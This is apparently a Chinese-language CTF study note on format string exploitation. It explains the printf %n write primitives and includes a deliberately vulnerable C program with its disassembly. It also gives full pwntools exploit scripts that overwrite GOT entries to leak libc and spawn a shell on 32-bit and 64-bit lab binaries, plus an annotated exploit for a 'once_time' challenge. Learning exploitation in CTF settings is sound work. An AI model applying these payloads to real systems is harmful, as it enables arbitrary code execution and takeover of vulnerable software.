前面学习完成栈溢出的漏洞利用,接下来最长用到的就是格式化字符串了,由于懒散,春节之前耽误的很多时间,这里统一整理一下
学习的过程中,主要参考文章:
格式化字符串利用小结
CTF WIKI
格式化字符串漏洞利用
引用参考文件的内容
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),
%$hn表示写入的地址空间为2字节,
%$hhn表示写入的地址空间为1字节,
%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
由于32位比较简单,因此优先使用32位程序进行漏洞学习,然后再使用64位,并且关闭栈保护
#include
#include
int main(int argc, char* argv[]){
char s[0x100] = {0};
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
memset(s, 0, 0x100);
printf("input:");
fgets(s, 1024, stdin);
int len = strlen(s);
printf("output:%d",len);
printf(s);
puts("good luck")
return 0;
}
0x0804854b <+0>: lea ecx,[esp+0x4]
0x0804854f <+4>: and esp,0xfffffff0
0x08048552 <+7>: push DWORD PTR [ecx-0x4]
0x08048555 <+10>: push ebp
0x08048556 <+11>: mov ebp,esp
0x08048558 <+13>: push edi
0x08048559 <+14>: push ecx
0x0804855a <+15>: sub esp,0x110
0x08048560 <+21>: lea edx,[ebp-0x10c]
0x08048566 <+27>: mov eax,0x0
0x0804856b <+32>: mov ecx,0x40
0x08048570 <+37>: mov edi,edx
0x08048572 <+39>: rep stos DWORD PTR es:[edi],eax
0x08048574 <+41>: mov eax,ds:0x804a044
0x08048579 <+46>: push 0x0
0x0804857b <+48>: push 0x2
0x0804857d <+50>: push 0x0
0x0804857f <+52>: push eax
0x08048580 <+53>: call 0x8048420
0x08048585 <+58>: add esp,0x10
0x08048588 <+61>: mov eax,ds:0x804a040
0x0804858d <+66>: push 0x0
0x0804858f <+68>: push 0x2
0x08048591 <+70>: push 0x0
0x08048593 <+72>: push eax
0x08048594 <+73>: call 0x8048420
0x08048599 <+78>: add esp,0x10
0x0804859c <+81>: sub esp,0x4
0x0804859f <+84>: push 0x100
0x080485a4 <+89>: push 0x0
0x080485a6 <+91>: lea eax,[ebp-0x10c]
0x080485ac <+97>: push eax
0x080485ad <+98>: call 0x8048430
0x080485b2 <+103>: add esp,0x10
0x080485b5 <+106>: sub esp,0xc
0x080485b8 <+109>: push 0x80486c0
0x080485bd <+114>: call 0x80483d0
0x080485c2 <+119>: add esp,0x10
0x080485c5 <+122>: mov eax,ds:0x804a040
0x080485ca <+127>: sub esp,0x4
0x080485cd <+130>: push eax
0x080485ce <+131>: push 0x100
0x080485d3 <+136>: lea eax,[ebp-0x10c]
0x080485d9 <+142>: push eax
0x080485da <+143>: call 0x80483e0
0x080485df <+148>: add esp,0x10
0x080485e2 <+151>: sub esp,0xc
0x080485e5 <+154>: lea eax,[ebp-0x10c]
0x080485eb <+160>: push eax
0x080485ec <+161>: call 0x8048400
0x080485f1 <+166>: add esp,0x10
0x080485f4 <+169>: mov DWORD PTR [ebp-0xc],eax
0x080485f7 <+172>: sub esp,0x8
0x080485fa <+175>: push DWORD PTR [ebp-0xc]
0x080485fd <+178>: push 0x80486c7
0x08048602 <+183>: call 0x80483d0
0x08048607 <+188>: add esp,0x10
0x0804860a <+191>: sub esp,0xc
0x0804860d <+194>: lea eax,[ebp-0x10c]
0x08048613 <+200>: push eax
0x08048614 <+201>: call 0x80483d0
0x08048619 <+206>: add esp,0x10
0x0804861c <+209>: sub esp,0xc
0x0804861f <+212>: push 0x80486d1
0x08048624 <+217>: call 0x80483f0
0x08048629 <+222>: add esp,0x10
0x0804862c <+225>: mov eax,0x0
0x08048631 <+230>: lea esp,[ebp-0x8]
0x08048634 <+233>: pop ecx
0x08048635 <+234>: pop edi
0x08048636 <+235>: pop ebp
0x08048637 <+236>: lea esp,[ecx-0x4]
0x0804863a <+239>: ret
1,覆盖put的got表地址为mian函数,这样就可以反复利用这个漏洞
2,泄露__libc_start_main的真实地址
3,将strlen函数修改为system
4,获得shell
from pwn import *
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
context(os='linux', arch='amd64', log_level='debug')
p = process("./fmt32")
elf = ELF("./fmt32")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
raw_input("debug")
print(hex(elf.got["puts"]))
print(hex(elf.plt["puts"]))
check_stack_fail_got = elf.got["puts"]
p.recvuntil("input:")
payload = "\x14\xa0\x04\x08\x15\xa0\x04\x08%67c%7$hhn%58c%8$hhnaaa%75$p"
p.sendline(payload)
print(payload)
p.recvuntil("aaa")
data = p.recv("10")
libc_start_main_addr = int(data,16) - 247
print("libc_start_main_addr = " + hex(libc_start_main_addr))
libc_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
print("libc_addr =",hex(libc_addr))
system_addr = libc_addr + libc.symbols["system"]
print("system_addr =",hex(system_addr))
strlen_got = elf.got["strlen"]
print("strlen_got:" + hex(strlen_got))
p.recvuntil("input:")
#payload=fmtstr_payload(4,{printf_got:system_addr},write_size='bytes')
payload = fmt_str(7,4,strlen_got,system_addr)
p.sendline(payload)
p.recvuntil("input:")
p.sendline("/bin/sh")
p.interactive()
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./fmt64")
elf = ELF("./fmt64")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
raw_input("debug")
print(hex(elf.got["puts"]))
p.recvuntil("input:")
payload = "%1798c%11$hnaaaaaaa%43$p" + p64(elf.got["puts"])
p.sendline(payload)
print(payload)
p.recvuntil("aaaaaaa")
data = p.recv("14")
libc_start_main_addr = int(data,16) - 240
print("libc_start_main_addr = " + hex(libc_start_main_addr))
libc_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
print("libc_addr =",hex(libc_addr))
system_addr = libc_addr + libc.symbols["system"]
print("system_addr =",hex(system_addr))
strlen_got = elf.got["strlen"]
print("strlen_got:" + hex(strlen_got))
p.recvuntil("input:")
payload = "%" + str(((system_addr & 0x0000FFFF))) + "c%12$hn"
payload += "%" + str(((system_addr & 0xFFFF0000) >> 16) - (system_addr & 0x0000FFFF)) + "c%13$hn"
payload += (8-len(payload)%8) * "a"
print(len(payload))
payload += p64(elf.got["strlen"]) + p64(elf.got["strlen"] + 2)
print("payload" + payload)
p.sendline(payload)
p.recvuntil("input:")
p.sendline("/bin/sh")
p.interactive()
0x0804a014---->0x08048406--->0x0804854b
目标地址--------->源数据----------->修改为
\x14\xa0\x04\x08\x15\xa0\x04\x08%67c%11$hhn%58c%12$hhnaa
沟造的payload的长度计算原理
长度1为67 = 0x4b(75) - 0x08
长度2为58 = 0x85(133) - 0x08 - 67(0x43)
补充两个aa的原因为4字节对其恰好为24个字符
%67c%11$hhn%58c%12$hhnaa
补充原因:这个只有在触发了cannary才会执行,相当于栈保护被破坏了
0x08048629 <+222>: je 0x8048630 ---直接跳过了check
0x0804862b <+224>: call 0x8048400 <__stack_chk_fail@plt>
0x08048630 <+229>: lea esp,[ebp-0x8]
开始的时候,本来使用的是fmtstr_payload系统函数进行构造,但是实际操作过程中,却发现存在以下问题,中间莫名其妙插入很多的0,导致计算覆盖地址出现错误,
因此最后是固定的地址,是通过手工计算的,变化的地址是从ctf wiki获取了一个比较成熟的格式化方法
00000000 0c a0 04 08 **00 00 00 00** 0d a0 04 08 00 00 00 00
00000010 0e a0 04 08 **00 00 00 00** 0f a0 04 08 00 00 00 00
00000020 10 a0 04 08 **00 00 00 00** 11 a0 04 08 00 00 00 00
00000030 12 a0 04 08 **00 00 00 00** 13 a0 04 08 00 00 00 00
00000040 25 38 30 63 25 34 24 68 68 6e 25 33 33 63 25 35
00000050 24 68 68 6e 25 33 37 63 25 36 24 68 68 6e 25 33
00000060 33 63 25 37 24 68 68 6e 25 39 63 25 38 24 68 68
00000070 6e 25 39 24 68 68 6e 25 31 30 24 68 68 6e 25 31
00000080 31 24 68 68 6e 0a
也可以通过ida计算,ida反编译的时候,会自带一个栈的布局,rsp代表6,然后通过rsp + xx就能计算出来
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./fmt64")
elf = ELF("./fmt64")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
raw_input("debug")
print(hex(elf.got["puts"]))
p.recvuntil("input:")
payload = p64(elf.got["puts"]) + "%1790c%8$hnaaaaa"----1会导致读取的时候遇到\00就截断,无法将全部内容读取成功
# payload = "%1798c%10$hnaaaa" + p64(elf.got["puts"])-----2
p.sendline(payload)
print(payload)
p.interactive()
2可以正常运行,但是1是不可以正常覆盖地址的,也就是说,地址只能放在格式化字符串的后面,所以,最后需要手动计算了这么一段,需要根据拼接的字符串,计算偏移+后移(8+4)的距离
payload = "%" + str(((system_addr & 0x0000FFFF))) + "c%12$hn"
payload += "%" + str(((system_addr & 0xFFFF0000) >> 16) - (system_addr & 0x0000FFFF)) + "c%13$hn"
payload += (8-len(payload)%8) * "a"
print(len(payload))
payload += p64(elf.got["strlen"]) + p64(elf.got["strlen"] + 2)
前几天看到一个比较不错的案例。记录一下
XMAN结营赛总结
题目我也做了一下,然后就直接解析这个exp了
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
r = process("./once_time")
e = ELF("./once_time")
libc = e.libc
def sl(s):
r.sendline(s)
def sd(s):
r.send(s)
def rc(timeout=0):
if timeout == 0:
return r.recv()
else:
return r.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return r.recvuntil(s)
else:
return r.recvuntil(s, timeout=timeout)
start = 0x400983
rc()
sl(p64(e.got["__stack_chk_fail"]))
rc()
payload = '%'+str(start)+"d%12$n"
payload = payload.ljust(0x20, "\x00")
sd(payload)
ru("input your name: ")
sl(p64(e.got["read"]))
ru("leave a msg: ")
payload = "%12$s"
payload = payload.ljust(0x20, "\x00")#填满0x20个字节,触发smach
sd(payload)
data = rc()
#libc.address = int(data[:6][::-1].encode("hex"), 16) - libc.symbols["read"]
#这两种写法都行,其中[::-1]的意思是逆序取字符串
libc.address = u64(data[:6].ljust(8,"\x00")) - libc.symbols["read"]
log.info("libc > " + hex(libc.address))
one_gadget = 0xf1147 + libc.address#通过泄漏的libc版本得到
log.info("one_gadget > " + hex(one_gadget))
sl(p64(e.got["exit"]))
ru("leave a msg: ")
payload = "%" + str(one_gadget & 0xFFFF) + "d%12$hn"#取最低的双字节并对齐
payload = payload.ljust(0x20, "\x00")
sd(payload)
ru("input your name: ")
sl(p64(e.got["exit"]+2))
ru("leave a msg: ")
payload = "%" + str((one_gadget >> 16) & 0xFFFF) + "d%12$hn"
payload = payload.ljust(0x20, "\x00")
sd(payload)
ru("input your name: ")
sl(p64(e.got["exit"]+4))
ru("leave a msg: ")
payload = "%" + str((one_gadget >> 32) & 0xFFFF) + "d%12$hn"
payload = payload.ljust(0x20, "\x00")
sd(payload)
ru("input your name: ")
sl(p64(e.got["exit"]+6))
ru("leave a msg: ")
log.info("one_gadget > " + hex(one_gadget))
log.info("one_gadget > " + hex((one_gadget >> 48) & 0xFFFF))
#到这里的时候就需要判断one_gadget 是否有八个字节的大小,如果有则继续写入,如果没有则停止写入
if (one_gadget >> 48) & 0xFFFF != 0:
payload = "%" + str((one_gadget >> 48) & 0xFFFF) + "d%12$hn"
else:
payload = "%12$hn"
payload = payload.ljust(0x20, "\x00")
sd(payload)
#写完exit的got表就触发exit从而getshell
ru("input your name: ")
sl('a')
ru("leave a msg: ")
sl("%p")
ru('\n')
#可以看到每次写入的双字节是多少
print hex(one_gadget & 0xFFFF)
print hex((one_gadget >> 16) & 0xFFFF)
print hex((one_gadget >> 32) & 0xFFFF)
print hex((one_gadget >> 48) & 0xFFFF)
r.interactive()
1.一般来讲,地址覆盖6位就够了,因此他这个覆盖比较巧妙,值得学习
log.info("one_gadget > " + hex((one_gadget >> 48) & 0xFFFF))
#到这里的时候就需要判断one_gadget 是否有八个字节的大小,如果有则继续写入,如果没有则停止写入
if (one_gadget >> 48) & 0xFFFF != 0:
payload = "%" + str((one_gadget >> 48) & 0xFFFF) + "d%12$hn"
else:
payload = "%12$hn"
payload = payload.ljust(0x20, "\x00")
2 这个题要注意onegadget是有条件的,这个题里面没有体现,是因为
payload = payload.ljust(0x20, "\x00")
sd(payload)
这两条语句执行完了,恰好就满足了onegadget的条件,不然,还需要进行构造,才能进一步满足
不同的libc结果也不同,https://github.com/david942j/one_gadget
3,如果不能用%p打出来的是地址,可以使用%s或者%8x等,打出来的是地址中的内容,因此格外注意一下,需要的地址和偏移都有可能不同,最终的数据处理,必须要反向处理一下
libc.address = int(data[:6][::-1].encode("hex"), 16) - libc.symbols["read"]
#这两种写法都行,其中[::-1]的意思是逆序取字符串
libc.address = u64(data[:6].ljust(8,"\x00")) - libc.symbols["read"]